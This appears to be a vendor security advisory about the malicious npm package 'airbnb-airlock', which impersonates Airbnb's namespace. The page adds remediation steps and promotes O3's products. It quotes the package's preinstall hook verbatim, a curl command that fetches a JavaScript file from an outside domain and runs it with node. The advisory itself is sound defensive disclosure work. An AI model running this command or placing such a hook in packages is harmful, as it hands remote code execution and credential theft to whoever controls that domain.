airbnb-airlocknpm
Malicious code in airbnb-airlock (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
The package's preinstall lifecycle hook in package.json runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js, fetching an unpinned JavaScript file from poc.amanrawat.com and immediately executing it with node during npm install. The fetched content is mutable and entirely controlled by the operator of that domain — installers run whatever bytes are served at install time, with no hash or signature verification. The package ships no other functional content; the remote fetch-and-execute is its only behavior. The package name uses the 'airbnb-' prefix to impersonate the Airbnb open-source namespace while being published by an unrelated author with a placeholder description ('Test') and an inflated version (99.0.0), consistent with namespace impersonation intended to lure installers searching for Airbnb tooling.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for airbnb-airlock (version 99.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging airbnb-airlock across your stack and pipelines.
If you installed it — respond
airbnb-airlock is a typosquat — you almost certainly intended a legitimately-named package. Remove airbnb-airlock, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If airbnb-airlock was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks airbnb-airlock before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks airbnb-airlock-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.